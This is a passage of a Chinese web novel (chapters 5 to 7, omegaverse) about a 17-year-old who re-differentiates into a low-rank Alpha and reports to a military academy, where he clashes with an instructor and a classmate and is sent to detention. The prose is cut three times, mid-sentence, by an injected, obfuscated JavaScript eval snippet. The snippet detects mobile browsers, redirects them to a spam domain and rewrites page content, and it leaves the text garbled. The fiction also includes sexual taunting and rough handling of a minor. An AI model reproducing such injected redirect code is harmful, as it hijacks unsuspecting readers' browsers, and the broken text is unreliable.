温隅安把养弟眼底难掩的失望看得清清楚楚,他觉得有点儿好笑,毕竟他这个养子待在时家二十几年,可从来没享受到时藏锋这种接送小孩上下学的特殊待遇。时上将确确实实日理万机战事繁忙,所以他才五岁就直接被机器人管家扔进军事化管理的Alpha幼年班里,拿枪比拿笔都还早;哪怕是时茧的亲哥哥,那位时家有史以来唯一有机会竞选议长的大少爷时序,从小也免不了在枪林弹雨里摸爬滚打,哪至于像时茧这样,娇长到十七岁才被送到军校这种陪公子哥们玩过家家的地方。 “原来我的弟弟还是个没断奶只会到处要爸爸的小海马?你这幅表现让我想起来你上幼育园的时候,父亲一把你放下来,你就抱着他的小腿哭,一整天眼睛都是红红的,走到哪哭到哪,把老师愁得叫来一堆Alpha小朋友陪着你玩,也没用,最后还是得留下军刀陪着你。十来年过去,你好像一点也没改啊,患有分离焦虑的小海马宝宝?” 时茧早已习惯温隅安的嘲讽,幼育园那时的事只不过是Omega幼崽对于监护人天然性的依赖,比他表现更坏的小朋友多得是——哪怕一些Alpha幼崽初次面临长时间的分别时也照样会对身边人产生这种情感,他坚信温隅安将当时的情况夸张化了,为的不过是拿来嘲笑他。 时茧没有理会,自顾自往停机坪走。 温隅安于是又换了语气,温温柔柔地对养弟说:“你叫声哥哥,再求求我,我就带你去军校。” 这Alpha就像是个双重人格的精神病一样,一会儿极尽挑衅,一会儿又能和和气气,时茧冷嘲热讽地说:“对不起哥哥,我不知道原来你也没断奶。” 温隅安呵呵一笑,他没从时茧身上闻到那股小苍兰的信息素,心情还算不错,没有接着讽刺回去。 时茧太不像是个Alpha了——如果他能一直这样把自己信息素控制好的话。 他人生前十七年都在学着如何作为一个Omega长大,他聪明、机警,记性格外好,老师教的那些东西,学得比任何一个新娘学院的毕业生都出色,漂亮到极点的皮囊也的确足够欺骗人心,没有哪个Alpha能够拒绝。甚至因为留着一截长发,以及过于细韧的腰身导致的身材比例,让他单从背影看上去,很多时候都会被人认错成女性Omega。 视觉上,温隅安确实没办法把他当成Alpha。 两个多月的改变不足以让温隅安彻底认清楚时茧现在是和他一样的同类,潜意识里,他依旧在把时茧当做Omega,于是也理所当然地像往常那样,向对方散发出自己的信息素。 时茧立刻感觉到危险和冒犯,这让他好不容易才稳定下来的信息素“轰”地一下全部爆发,浓郁到围着他形成一道固若金汤的城墙,拼死抵抗着陌生Alpha的信息素。 但对面那个Alpha等级实在高出太多,时茧很快就感受到一股从后颈传出的灼痛,脸色“煞”一下苍白。 温隅安的脸色也立刻就黑了,当头棒喝般几步退开,同时收起自己的信息素。他知道这次是自己一时忘了形,可以前也这样,却没有哪次出过意外,唯一的变量只剩时茧突然分化的性别。 温隅安恼怒道:“你看清楚,是你排斥我,既然如此,我也没必要浪费时间送小海马上学找爸爸。联邦军校,你自己去。” 他说完转身就走,倒是果断。 时茧本来就因为信息素等级压制难受,又被温隅安忽然的变脸刺激,脸色愈发难看。 他抬手捂住腺体,沉默地看着温隅安离开的方向,想起的却是以前对方逮到有Alpha向自己告白,于是强硬地要求上下学接送,不允许他和外面那些“不三不四”的Alpha早恋。 最后还是时藏锋留下来的Beta副官迟迟不见小少爷,特意找过来,一看吓得不轻,赶紧打开一管镇定剂挥扇着给时茧闻,又把他扶到私人飞机里休息顺气,才没导致更严重的情况发生。 直到行程过半,时茧暴动的信息素才慢慢平复。 副官端来一杯加了蜂蜜的鲜榨青提汽水,安慰道:“其实您刚分化成Alpha不久,能够把信息素控制到这个地步已经很厉害了。” 时茧接过水,默默喝了一口,甘甜的果汁润进肺里,让他舒服不少。 副官又说:“是Alpha还是Omega其实不重要,您身上的小苍兰味道没有变,我觉得很好闻。” 时茧终于看向他:“我记得你是Beta。” Beta感知不到信息素,但味觉没有丢失:“是的。所以您不必担心我会受到影响。” 就算把时家四个Alpha全都放进这架飞舰,同时释放信息素,副官也只会因为Alpha强大的等级威压而产生自然界食草动物对上食肉动物所分泌地本能的恐惧,却不会像处于低位的Alpha那样,时时刻刻感受到一种直达灵魂深处的威慑和痛苦。 时茧冷嘲道:“我还不如分化成Beta,至少不用和家人也要保持距离。” 副官听出来时茧的心灰意冷,可他只是Beta,理解不了信息素等级压制的恐怖,也不清楚上将家里的亲情危机,只是安慰道:“瘦死的骆驼比马大,只要您是Alpha,不管什么等级,有上将这个金字招牌,您从联邦军校毕业后,也一定能在军界功成名就、平步青云。” 时茧对副官为他规划的蓝图毫无兴趣,转头看着窗外,上方是高耸入云不知多深的大楼,底下是熙熙攘攘穿梭的人群,他不认为自己有能力像父亲和两位兄长那样保护这座城市—— 凭他是个E级的劣质Alpha,还是凭他进军校都需要上将父亲走后门? 时茧自嘲般冷笑几声,拿过《联邦第一军校入学指南》的蓝皮册子随手翻了起来。 私人飞机高调地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035788|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行驶在城市的半空轨道上,驶过最繁华的闹市区后,一座拔地而起的利剑指向苍穹,以此为中心轴,左右依次排布着长方形的建筑,远远看去几乎没有钝角或曲线,都是刀斩斧劈般锐利的直角线条。 飞机驶入指定停车场,几个在太阳底下反光的镀银字体才慢慢显现—— 联邦第一军校。 我即利剑,钢铁筑我,攻无不克,战无不胜。 时茧看清楚那几行字的瞬间,刚从飞舰上下来,又转身就要回去。 Beta副官哪敢不把这小祖宗看好,连哄带骗地才把他拐进学校大门,先带着去办了入学手续,整理好了床铺,里里外外打点完一切,最后才放心把时茧交给新生处主任。 但要走的时候还是出了问题,副官这才体验到什么是“幼育园小朋友依赖父母”,面对板着脸下命令让他把自己一起带走的小少爷,那是绞尽脑汁使劲浑身解数,又是哄他军校绝对没您想得那么苦,又是保证一放假就来接他,而且一定带着上将、大少爷和少校一起来。 时茧才总算放过他。 “你来得有点晚,一些动作早的班已经在教官的带领下进入训练了,你分配到的班级就是最早集结完毕的,现在应该正在体练基地二楼。那里离这有些远,第一次去上课的学生往往都容易走错,需要我带你过去吗?” 新生处主任是兼职,严格意义上来说,他是一年级生的总教导主任,也是这座军校里为数不多知道时茧真实身份的人。同样,在这所看门狗都是公A的军校里,他理所当然也是个等级不低的Alpha。 但时茧现在恰恰最讨厌的就是Alpha,他拒绝了主任的提议,也没换校服,就这么独自一人去了体练基地二楼。 从进入这所军校开始,无处不在的Alpha信息素就像狗路过一个地方就要撒尿标记一样存在感极强,这些正值青春期的Alpha似乎都非常急迫地想要圈领地盘,在每一处都留下自己的信息素,也不考虑会不会打扰影响到别人。 时茧被这些信息素冲得始终皱着眉头,他怀疑温隅安也是这种热衷于圈地盘的野狗Alpha。 但时茧并没有被这些信息素影响到自己对第一军校地形的判断,早在飞机上的时候他就已经记下了这座建筑群的俯视图,教导主任的办公室里也有平面地图,他实在想不通这么简单的地形,怎么会有找不到路的人。 进入练体基地后,这种糅合了成百上千个Alpha信息素的气味让时茧比在家里面对S级Alpha时还要难受许多,但好在这些信息素等级差异大、也不是同一时间、刻意析出,时茧从一开始的头昏脑涨到后面也能慢慢适应,而且比起时藏锋和温隅安给他的那种等级压制,这种感觉更像是…… 一头闯进了体育生宿舍,被大量运动过后的汗味或者是……其他什么味道,熏的。 ——真实情况当然没那么糟糕,其他正常分化的Alpha并不会有时茧这种感受,毕竟这所培养出无数高级军官将领的第一军校也从未招收过E级。时茧会如此反感,最主要的原因还是他极其排斥陌生Alpha,这与他目前分化成Alpha并无关系,他从小就这样,只不过分化后的身份让他从生理上对这种排斥更加顺理成章了。 让一个讨厌Alpha的人从Omega分化成Alpha,也不知道单纯是意外,还是老天爷给时茧开的一个荒谬的玩笑。 “叩叩。” 这是时茧第二次敲门,但依旧无人回应,门内鸦雀无声。 他抬头看了一眼电子屏上的课程表—— 练体基地二楼022室,目前使用班级一年级生陆空指挥系一班—— 满勤—— 没有走错。 时茧又敲了第三次。 5. 第 5 章 时茧安静地盯着这道科技感十足的大门,尤其是“满勤”那两个字,几秒后才移开。 他转身走到走廊尽头的配电室,找到022室的电闸后,轻轻往下一拉,门口配备的电子屏立刻熄灭。 原本怎么敲都紧紧关闭的大门突然打开,一群人簇拥着一个身形高大的Alpha走出来。 “停电了?” “不知道啊。” “可能是要维修设备?” “不会才开学第一天学校就被敌军入侵了吧!” 带头的Alpha左右转着头,目光在来来往往的人群中移动,最终锁定了其中最矮的那一个。 时茧也察觉到对方的目光,毫无负罪感地走过去:“教官好。一年级新生时茧,前来报道。” 他的声音不大不小,但落入周围嘈杂的人声里,就像水珠掉进瀑布,除了离得最近的教官,后面那些同学基本都没有听清楚。但这不妨碍他们在看到时茧长相的那一刻齐齐发出倒抽冷气的声音—— 老天爷!就算他是Omega也美得太超过了吧!联邦科学院都捏不出这种基因吧! 和这些穿着仿军装制式校服,硬朗帅气的Alpha学员们对比,时茧穿得就像青春小说封面上那些模特一样,十七八岁最年轻的脸搭上简单干净的衬衫牛仔裤,即使盛夏的风从他身边经过也会格外温柔。 牧野不动声色地打量着眼前这个明显比周围人都矮了一个头、也纤细一半的少年,即使他对比起小时候已经长开很多,但那种让人过目不忘的美貌还是足以让他即便混入人群中也能被轻而易举地认出来。 用眼神警告过一遍身后那些躁动不安的Alpha崽子,牧野对上时茧,冷嗤一声:“胆子倒是挺大,敢妨害正常训练。也不穿校服,想搞特殊?” 时茧不应答,当没听懂。 “算你记性好,看一眼职工表就知道我是谁。但这点小聪明在这里一点用也没有。”牧野抬手看了一眼手表,“你迟到了20分钟,按照规定去禁闭室待着吧。一个小时。” 时茧皱眉:“学员手册里没有这条规定。” 牧野撕下教案本,“欻欻”写下几个字,放进时茧上衣的口袋里:“现在有了。” 时茧没动。 身后躁动的Alpha们逐渐不敢吱声,没弄明白这新生怎么报道第一天就敢得罪陆空指挥系的总教官,这得多高的等级才能狂成这样啊? “两个小时。” 时茧终于有反应了,抬头看向牧野:“根据教官手册第二条第三款规定,对学员处以的惩戒过量将涉嫌私刑,学员有权利上报教务处申诉,成立则当事教官停职检讨——教官,我能不能认为你对我的惩罚已经构成了私刑。” “对不起,我错了。” 时茧挑眉。 Alpha扯扯嘴角:“你的记性确实让人刮目相看,那本上万字的教官手册我连看完的耐心都没有——这一点我确实错了,忘记你这样出身的……Alpha,确实不服管教,并且最擅长翻出各种条例规章合理化自己的行为。” 他抬腿往前走了两步,走到时茧面前不到一臂的距离,低下头,凑到时茧耳边,呵呵笑着说:“不过大小姐,这里不是第九军区,你爸爸的手伸不到这么远,进了这所学院的Alpha崽子,甭管什么等级,统统归我管。” “我让你趴着你就不能站着,让你跪着你就不能坐着,到了第一军校,趁早把你们那些贵族公子哥的脾性收收,夹着尾巴做人,否则我很难保证你还能正常走到教务处去举报我滥用私刑。” 牧野直起身,退回到安全距离。在他身后的Alpha学员们眼里,教官心情似乎很不错:“你应该感到庆幸我没有以‘破坏设备而扰乱正常训练’为由让你背上处分。这已经是我看在你那个上校哥哥的份上网开一面,回去记得告诉他,他欠了我一个人情。” 温隅安都被搬出来了,时茧实在不想再跟这个Alpha浪费时间,看了他好一会儿后,转身走了。 牧野在后面高声笑问:“需不需要我派一个学员给你带路?” 时茧的背影似乎停顿了一下,握紧拳头,眼底闪过一丝烦躁。 他脸上的不耐过于显眼,一路上没有哪个不长眼的敢挡道,但过于高调的行为也让很多人都记住了这个一来报道就被教官罚去禁闭室的新生。不过比起好奇他到底怎么惹恼了教官,那张即使在Omega里也过分漂亮的脸显然更能引起这群寡疯了的Alpha的注意。 时茧像找到练体基地那样轻松找到了禁闭室。学校为了惩治这些不听话的Alpha显然花费不少功夫,至少在时茧以前待过的和听说过的Omega学校里,从来不会有校方为了管理Omega而专门修建一栋大楼。 管理人员已经提前得到知会,冲对讲机说了几句什么,接着从暗处的楼梯上走下来一个比教官更高的白发Alpha,身材劲瘦,宽肩窄腰,穿着类似军装的学生制服,佩戴着黑色皮质手套,领口扣到最上面一颗,全身只露出脸部的皮肤,五官俊美而冷峻。 他的目光随着声音扫过来,瞳孔呈现出一种无机质的猩红。 “顾识云,学生会纪察部部长。他是今天的值日生,会带你去禁闭室。” 管理人员话音刚落地,白发Alpha便大步流星走到时茧面前,核对完他的身份后,在自己的智脑中登记完信息,领着他往二楼走。 从头到尾他都保持着沉默,到地方后,抬抬手指,示意时茧进去,替他关上重力门。 禁闭室大概十个平方,除了重力门之外没有出口,也没有任何光源,唯独门上有一块最多巴掌大的钢化玻璃,用以监控学员状态。 里面空空荡荡,只有中间摆着条没靠背的长方形凳子,摆明不是让犯错的学员来享受的。 时茧凭借着玻璃透进来的微弱光源,摸到凳子附近,比划了一下长度宽度,发现如果他侧着睡那就刚好。 这凳子是铁的,没固定,倒是能搬,就是费了时茧不少力气。 他把凳子搬到靠墙的角落里,躺下来和衣而睡。 合眼前他看见那块玻璃被一道身影挡住,按这个高度,恐怕也只有刚刚那个白发Alpha能恰好够到。 他一直没走—— 时茧盯着黑洞洞的上方,不清楚对方一会儿会不会发现自己睡着后过来喊醒。 监督犯错的学员有没有认真悔改,应当也是纪察部的职责之一。 牧野到点来领人看见的就是这么一幕,还未长成的少年蜷缩在只够Alpha正常坐下休息的长凳上安稳睡着午觉,及肋的水蓝色长发像婚礼头纱一样轻轻覆在他的半张脸上,长而卷翘的眼睫毛时不时蝴蝶振翅般颤动两下,这一切让他像极了童话里等待着王子用真爱之吻唤醒的公主。 他看上去睡得那么恬静、舒服,反观牧野,刚刚才带着那群精力过剩的Alpha崽子完成了两个小时的体能训练,把那群狗崽子练得趴在地上一个劲求饶。自己也累得不轻。 牧野气笑了,走过去一脚踢在凳子腿:“你倒是会享受。” 时茧立刻惊醒。 正在核销禁闭室使用时长的顾识云余光看见,说出了时茧从进军校开始到现在听到的第一句各种意义上的人话:“纪察部同样拥有监督教官的权利。老师。” 牧野咬了咬后槽牙,没法反驳他的话,只好对着时茧没好气道:“起来。你还打算睡多久?” 时茧睡眼惺忪:“我的午睡时长一般在三到四个小时。” 牧野气得没办法,干瞪着眼:“这不是你家!” “是吗?我看学员手册第一条,就要求我们把学校当作家一样爱护。” “……不愧是那条死蛇的弟弟,气死人的本领青出于蓝。”牧野的牙咬得咯吱作响,但作为这小少爷的直系教官,却不得不忍着气把他从禁闭室领出来。 临走前,时茧对顾识云道:“谢谢款待。” 因为这句话,牧野有些狐疑地在时茧和白发Alpha身上来回看看,他怀疑顾识云因为这小少爷长得好看甚至没把他关进禁闭室,但对方是第一军校出了名的“机器人”,说话做事像设定好的程序一样一板一眼,否则也不可能以二年级生的身份就任监察部部长。 连顾识云也有几分疑惑地向时茧看过来,要不是这个表情,时茧真以为他是没有感情的Ai了。 从禁闭室出来后,时茧抽空看了眼一楼的挂钟:“这个时间有下午茶吗,教官?” 牧野下意识地抬手看时间,回过味来恼怒地说:“以后有问题,先打报告。” “报告教官,我申请吃下午茶。” “这里是联邦第一军校!”牧野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035789|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍无可忍,突然停下,转身揪着时茧的衣领:“你到底清不清楚你来的是什么地方?!多少Alpha挤破脑袋都进不来,上赶着要为联邦和人民奉献生命,这所军校培养出多少名垂青史的将军!而你一个E级Alpha,靠着父辈的荫蔽随随便便就得到了加塞的名额,却毫不珍惜,满脑子只有怎么享受,进禁闭室都能美呼呼地睡午觉,还他妈要吃下午茶,你怎么不让我去给你烤奶油布丁小蛋糕?!” “那再好不过了。记得淋点蜂蜜。” “我□□——”牧野硬生生忍下那句粗口。 他们面对面,只剩一个拳头的距离,时茧清楚地看见牧野眼底的猩红,他沉默一会儿后,偏开头,淡淡道:“所以你现在赶紧开除我,随便以什么理由都好,这样你不用带我这种孬兵,我也能跟我爸爸交差。” “我他妈巴不得现在就开除你!孬兵!你也知道自己是个孬兵!” 牧野猛然提高音量,周围人吓了一跳,纷纷看过来。他愤怒地像头被误闯了领地的棕熊,哼哧地喘着粗气,拽着时茧到一个角落里,把人往墙上一丢。 他恶狠狠地指着时茧:“我告诉你,要不是你有个上将父亲,你现在早就已经被我打断两条腿了!你还好意思提你父亲,时藏锋从死人堆里爬出来多少次才挣回来这些荣誉,你要是还有点羞耻心,你都说不出那句话!我管他为什么把你丢到军校,既然你来了,是我手下的兵,那你就别想舒舒服服混完四年,更不可能想来就来想走就走!” 时茧后背撞了下墙壁,有点火辣辣的疼,他同样愤怒地瞪着牧野:“又不是我想来的!” “关我屁事!你现在老老实实跟我去训练!我明明白白告诉你,军校这种地方不是什么新娘学院,下午茶想都不要想,少哼哼唧唧的,你要再跟我耍横,我让你连晚饭都吃不上!” 时茧不想走,被牧野推搡着带到教室,推开门进去那一刹,原本还在打闹喧哗的Alpha们瞬间安静下来。 许柏的笔“咔哒”掉在地上,石化好一会儿,才回过神,推了推旁边趴着睡觉的红毛Alpha:“我草,天降校花——” “什么乱七八糟的……”被吵醒的Alpha揉着眼睛,忽然睁大,“等会儿……” 时茧一进这间教室就被浓郁的Alpha信息素冲击得脑袋发晕,他的眼尾本来就天生上扬带着酡红,显得眼睛总盛着水光,接二连三被牧野针对、被信息素等级压制,更加迷离着有些睁不开,看得人手痒痒,心也痒痒,哪儿都跟有羽毛挠似的。 再加上他是二次分化突变才成了Alpha,无论身高、体型,都更向传统的Omega靠拢,所以他才能把禁闭室里给Alpha坐的凳子当躺椅,也因此,在场的学员们根本无法把他当做是一个和自己一样五大三粗的Alpha。 但这些都不足以让余宸发懵。 他愣了一会儿,忽然起身,弄出的动静把周围人都吓了一跳。 他径直朝时茧走过去,许柏捂着眼睛不敢看:“完了完了,老大坠入爱河了。” 在红毛Alpha走过来时,时茧也立刻认出他,脸色顿时像吃了苍蝇一样,甚至转身就想走—— 但余宸已经到他面前了,张嘴要说什么,余光扫了眼这一教室的人,又压低声音,张口就是十分冒昧的一句:“时藏锋上将没有三胎计划吧?” “……” 他忽然靠近时茧,距离仅剩一个拳头:“还是说你有个哥哥叫时茧?你们是双胞胎?那你们兄弟俩倒是很适合……” 他的表情有些下流,周围Alpha隐约听清了最后几个字,露出一种了然于心的笑容。 时茧漂亮的蓝眼睛动了动,抿唇没说话。余宸得寸进尺又说了一句,时茧突然抬手一耳光,把他扇得发懵。 “你这嘴要实在痒,找我,免费治。” 这一声脆响让牧野都始料不及,其他人更是吓一大跳。 许柏呆若木鸡,老、老天爷,这可是第一军区余上将的独苗—— 预想中该有的暴跳如雷并没有出现,余宸甚至没有说“你他妈的居然敢打我”,他反而只是用舌尖顶了顶脸颊,把那口淤血呸一声吐到时茧脚边,扯开嘴角笑着说:“得了,还是那股小苍兰的香味,力道也一模一样。就是奇怪啊时大小姐,你身上怎么也一股垃圾Alpha的气味?” 6. 第 6 章 时茧已经做好准备如何反击余宸诸如“你怎么分化成劣质Alpha”的此类发言,但红毛Alpha张嘴就是:“你让谁给标记了?啧,不会是把你玩完就跑了,被负心汉抛弃的大小姐来军校千里寻夫吧?哟呵,谁啊胆子这么大敢睡时藏锋的心肝宝贝儿?” 时茧:“……” 这弱智Alpha。 猜了两次都猜不出正确答案,这联邦第一军校真是凭借正常渠道考进来的?不会也跟他一样走的后门吧,毕竟这死红毛也有个同款“我的上将父亲”。 “说话啊,哑巴了?”余宸伸手就想把时茧掰过来看他的后颈,看看那块让无数Alpha垂涎过的柔软腺体是不是已经被不知名的Alpha咬得牙印遍布,用雄性的信息素标记成所有物了。 时茧蹙起眉心,秀气的眉毛拧成一个“川”字。他后退两步,冷不丁就是一巴掌,把动手动脚的红毛Alpha脸都扇偏到另一边去。 教室里的Alpha们纷纷倒吸一口冷气,集体捂住自己的右半边脸,同红毛Alpha通感一般,仿佛也感受到了那柔软掌心贴上脸颊的力度,和甩过来时带动的充盈着小苍兰香味的空气。 许柏弯腰捡笔的功夫,抬头一看周围Alpha的脸都可疑地红了。 再一看那太子爷,更是两边脸都红得离谱。 “?” 你们都在脸红个泡泡茶壶啊! 他这儿还没搞清楚状况,那头余宸早就气得急赤白眼了,这也是个从小到大众星捧月、呼风唤雨惯了的天之骄子,哪能一而再、再而三的被人当着这么多人的面打耳光,还左右开弓一边脸来上一下,他要不还回去那都是在把第一军区太子爷的脸面扔到地上踩! “反了你,连小爷我都敢打,我看时藏锋真是把你惯得没法没天了!”余宸撸起袖子,骂骂咧咧地冲着时茧抬起就是一脚。 他这一句“时藏锋”喊出来,其他人还在懵逼中,许柏作为余宸的左(狐)膀(朋)右(狗)臂(友),那可是久闻第九军区时上将儿控大名,有几分僵硬地看向时茧—— 难不成这就是那位声名远扬的铁血上将最宝贝的小儿子? 那个和他的上将父亲同样声名远扬,家世和容貌为人所津津乐道,从出生就被检测出S级的顶级Omega? 他当即就在心里哀嚎一声:我草了祖宗你把我踹死得了,可不敢踹时小少爷啊!这更是祖宗中的祖宗! 许柏也不管来不来得及,推开书桌就扑向讲台试图阻止,两行面条泪在空中蜿蜒曲折,写尽老奴心酸。离得更近的牧野早在余宸刚出脚的那一刻就把他过肩摔撂翻在地,缠斗中抽空暼了眼呆站在原地的时茧,撇撇嘴吐槽道:“都要让人踢了连躲都不知道躲一下,你真以为凭你那上战场当填线宝宝都费劲的等级,能扛得住A+级Alpha盛怒下用尽全力的一脚?内脏都他妈给你踢碎。” 时茧面上冷静,心里其实早就掀起巨浪—— 他不是不想躲,而是在那一刻,感受到余宸释放出的攻击意图时,他根本就动不了一下!连抬抬手指头都做不到! 回想起刚刚那个瞬间心头陡然生出的恐惧和压迫,时茧骇然,这就是Alpha族群里与生俱来的森严的等级压制? 随之而来的是一种可笑的荒唐,他的父亲是S+级,养兄是S级,就连一向被军人世家们诟病是“文弱书生”的亲哥哥,也有A级的水平—— 而他,从S级的Omega二次分化成一个Alpha也就算了,却连一星半点的天赋都没有继承到,别说什么S级A级,甚至连个B级C级都不是,他就是个牧野口中说的那样“上战场当填线宝宝都费劲”的等级,是个最低级最底层的E级Alpha! 此时此刻一种强烈的不甘和痛苦席卷了时茧全身,强烈到他开始耳鸣、目眩,满心只有三个字—— 凭什么?凭什么! 红血丝爬满时茧的眼球,他把这股在身体里膨胀到极致却无法发泄的愤懑全部算在了余宸这个导火索上,即使对方已经被牧野控制住无法再对他造成威胁,他也还是冲上去像被激怒到极点失去理智的小兽般对着红毛Alpha扑打、撕咬。 没有任何格斗技巧,时茧不会,全部凭借本能,这股想把余宸生吞活剥了的狠劲一时竟连余宸本人和身经百战的牧野都给吓住了,扑到一半的许柏也开始犹豫现在到底该扑谁—— 要不要先救一下自己家太子啊? 牧野愣了一下后很快就反应过来,一把抓住时茧的肩膀,下意识也想给这突然发疯的小祖宗一个过肩摔,可仅存的一丝理智告诉他,余宸这种小狗崽子皮糙肉厚的再摔十下也没关系,但眼前这细皮嫩肉的小祖宗可金贵得碰不了一下,只能硬生生忍住“私刑”的冲动,大呵一声:“疯什么呢?!踹着你了吗就发脾气?真当这是你家了?!给我滚回去禁闭室好好待着去!没四个小时不准出来!!” 余宸这时候也爬起来了,牧野那一下给他摔的够呛,从来只许我犯人不许人犯我的大少爷一手捂着肩关节一手指着被牧野制住仍不断挣扎的时茧,凶恶地撂下狠话:“你给小爷等着,老子早晚有一天扒了你的皮!” 牧野爆了句粗口,回头骂他:“你也差不多得了!真他妈把自己当太子爷了?!正儿八经的太子爷还没狂成你这样呢你个假的倒横起来了!你该对着他说那些下三滥的话?!” 余宸瞪回去:“就说了怎么着?!” 牧野吼道:“你也给老子滚去禁闭室!十个小时!” 两边都骂了一顿后,牧野像拎小鸡崽一样拎起时茧,没好气的冲着教室里那些目瞪口呆的Alpha说了句自习,就拎着时茧朝思过楼那边走了。 时茧一路上都不老实,跟只不乐意被抱的小狸猫一样乱动乱踢,牧野躲闪着都被踢中了好几下,满眼睛只有他那不停扭动挺翘的腰臀,气得一巴掌打人屁股上:“能不能别乱动?!上岗第一天就因为你得罪第一军区,哪天老子没声没息让这些当官的弄死你就高兴了!” 火辣辣的痛感终于把时茧的理智从暴怒中拉了回来,但随即就是一种极度的耻辱感—— 他抬起头,一双蓝盈盈的眼睛倔强地盯着牧野,不甘心、不服气,让那张漂亮的脸蛋又添了几分叛逆的生动。 “你再瞪?” 时茧顺了顺情绪,眼神虽还狠狠的,但声线已经尽量平稳了:“你欺负我。余宸也欺负我。” 牧野挑眉:“我哪儿敢呢大小姐,您可别乱说,我担待不起啊。” 牧野没等到这小祖宗不服气的反驳,正纳闷,就只看到他低下头,水一样冰凉顺直的长发从雪白光滑的后颈滑下去,把脸遮挡完全。 没一会儿后,就看见他的肩膀在微微抽动,刻意收着的吸气声在周围嘈杂的人声里几不可闻。 牧野拎着时茧的手一僵,心里咯噔一下:等、等会儿,不对吧……不会吧…… 这就…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035790|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就……哭……了? “……” 牧野眼前一黑。 他加快脚步,飞一样奔到思过楼。都没顾得上回应管理人员的问询,一看到顾识云,就像看到救命稻草一样,忙不迭的把时茧推到他怀里,一句话也没敢多说转身就走,直到离开思过楼后很久都还在为那几声不声不响的抽泣而心惊肉跳。 顾识云一头雾水,即使那张冰块一样冷漠的脸依旧毫无情绪表达,也能很轻而易举地看出他发自肺腑的疑惑。 他再一低头,看着怀里莫名其妙多出来的……呃……跟块蓝莓蛋糕似的又散发着香气又摸起来很软的少年,眼睛眨动的那几下透出来的疑惑就更多了,还隐隐有一丝震惊。 距离这个生理定义上的小Alpha刚被放出禁闭室不到一个小时,他怎么又回来了? 事实证明并不只有顾识云意外,那个值班的管理人员对此也纳闷至极。在他们看来时茧的气质和长相都绝对符合主流价值体系里的乖学生定义,但谁都想不到就是这样一个好学生居然在新生报道第一天,就创下了二进宫这种壮举,不由得让人探究他是不是仅仅表面乖,实际十分具有反叛精神。 牧野走得太匆忙了,在顾识云看来简直算得上是落荒而逃,也没说清楚这小少年到底犯了什么错、这次要关多久禁闭。在经过片刻的思考后,也出于一丝说不清道不明的私心,顾识云把时茧带到了自己的部长办公室。 去的路上,冷冰冰的“机器人”低头看了眼自己胸前湿了一小块的校服布料,逐渐收缩的猩红瞳孔里显露出一种与之前不同的疑惑,仿佛在思考一个人类的泪腺里,到底能不能存得下这么多眼泪。 不过一个哭得眼睛红红,又默默整理好头发衣服的小孩子,应该做不出什么十恶不赦的事吧? 顾识云知道这所军校的教官通常不会对学员滥用私刑,但伤害时茧的事他更加无法做到,于是也只能揣测或许是牧野的错。 ——他哭得这么可怜,他能有什么错。 才第一天来军校报道,就看起来这么委屈。 “你还好吗?” 冰冷的,但充满关怀的声音在办公室里响起。时茧抬起头,刚被水洗过一新的蓝眼睛里带着微微的疑问,看着顾识云。 像只喝着水忽然抬起头,歪着头观察人类的小麋鹿。顾识云发散地想。 “……我没事。” 时茧转过脸,不太自在地盯着太空金属打造的办公桌看。 ——他不太想承认温隅安的狗屁小海马理论,可从二次分化之后,他几乎就没有遇见过一件顺心如意的事,这种仿佛全世界都背叛了自己、在跟自己疯狂作对的感觉,实在太压抑、太不好受了。 时茧已经极力在控制,但有的时候,到了不得不爆发的临界点,他也实在没办法控制得住。 他毕竟只有17岁,在平均年龄200岁的联邦人里,是世俗意义上的孩子,也是法律条文里白纸黑字规定的未成年人,17岁的他拥有着无可匹敌的年轻和美丽,同时也拥有着这个年纪最敏感最容易被伤到的心。 顾识云拉开办公桌的抽屉,从里面捧出花花绿绿的糖果,也捧起了那颗水晶一样的心,对时茧说:“没收来的,你要吃吗?” 时茧在他拢起的手掌里挑挑拣拣,找了一颗青提味道的硬糖含在嘴里,抿开最外面那层淡甜的糖衣后,酸滋滋的味道混合着口水从舌尖弥漫整个口腔,酸得他鼻子都抽搭了好几下。 7. 第 7 章 顾识云没有问时茧是怎么得罪了教官,也没太多话,时茧不吃其他口味的糖,就把剩下的重新放回了办公桌抽屉里。 他指了指靠墙放的一张白色真皮沙发:“你要休息会儿吗?” 时茧睡过午觉,倒是不困,但在家里享受惯了,有沙发坐总比硬邦邦的椅子强。 他坐下时后背不小心蹭到靠垫,牵动被擦伤那一块,眉心骤然一紧。 顾识云余光顿住,又拉开右边抽屉,拿了瓶药油走过去。 